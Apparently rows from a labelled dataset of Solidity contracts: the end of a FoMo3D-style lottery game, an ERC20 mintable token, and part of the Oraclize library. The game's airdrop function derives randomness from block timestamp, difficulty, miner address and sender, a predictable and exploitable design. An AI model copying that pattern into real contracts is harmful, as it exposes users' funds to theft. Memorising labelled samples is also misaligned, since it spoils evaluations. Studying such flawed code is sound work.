}else if(_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
}else if(_eth >= 100000000000000000 && _eth < 1000000000000000000){
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) {
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256){
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys) public view returns(uint256) {
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external {
require (msg.sender == address(PlayerBook), "Called from PlayerBook only");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name) external {
require (msg.sender == address(PlayerBook), "Called from PlayerBook only");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(Rich3DDatasets.EventReturns memory _eventData_) private returns (Rich3DDatasets.EventReturns) {
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0){
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != ""){
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return _eventData_ ;
}
function verifyTeam(uint256 _team) private pure returns (uint256) {
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, Rich3DDatasets.EventReturns memory _eventData_) private returns (Rich3DDatasets.EventReturns) {
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return _eventData_ ;
}
function endRound(Rich3DDatasets.EventReturns memory _eventData_) private returns (Rich3DDatasets.EventReturns) {
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot.add(round_[_rID].prevres);
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _nt = (_pot.mul(potSplit_[_winTID].r3)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_nt);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0){
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if(_com>0) {
communityAddr_.transfer(_com);
_com = 0 ;
}
if(_nt > 0) {
FoundationAddr_.transfer(_nt);
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.R3Amount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndMax_);
round_[_rID].prevres = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast) private {
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0){
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID) private {
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop() private view returns(bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, Rich3DDatasets.EventReturns memory _eventData_)
private returns(Rich3DDatasets.EventReturns){
uint256 _com = 0 ;
uint256 _long = (_eth.mul(3)).div(100);
if(address(otherRich3D_)!=address(0x0)){
otherRich3D_.potSwap.value(_long)();
}else{
_com = _com.add(_long);
}
uint256 _aff = (_eth.mul(8)).div(100);
if (plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit onAffiliatePayout(
_affID,
plyr_[_affID].addr,
plyr_[_affID].name,
_rID,
_pID,
_aff,
now
);
} else {
if(_aff > 0 ){
affAddr_.transfer(_aff);
}
}
uint256 _agent = (_eth.mul(2)).div(100);
agentAddr_.transfer(_agent);
uint256 _nt = (_eth.mul(fees_[_team].r3)).div(100);
_com = _com.add(_nt) ;
if(_com>0){
communityAddr_.transfer(_com);
}
return (_eventData_) ;
}
function potSwap() external payable {
uint256 _rID = rID_ + 1;
round_[_rID].prevres = round_[_rID].prevres.add(msg.value);
emit onPotSwapDeposit(
_rID,
msg.value
);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, Rich3DDatasets.EventReturns memory _eventData_)
private returns(Rich3DDatasets.EventReturns) {
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].r3)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) {
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID) private returns(uint256) {
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0){
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, Rich3DDatasets.EventReturns memory _eventData_) private {
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit onEndTx(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.R3Amount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
} | 1 | 4,935 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "New York Refund Token";
string public constant TOKEN_SYMBOL = "NYRT";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xaC311024c81A2A204A71abE4EEc35a78D65068Fc;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0xac311024c81a2a204a71abe4eec35a78d65068fc)];
uint[1] memory amounts = [uint(13699999985000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 5,127 |
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
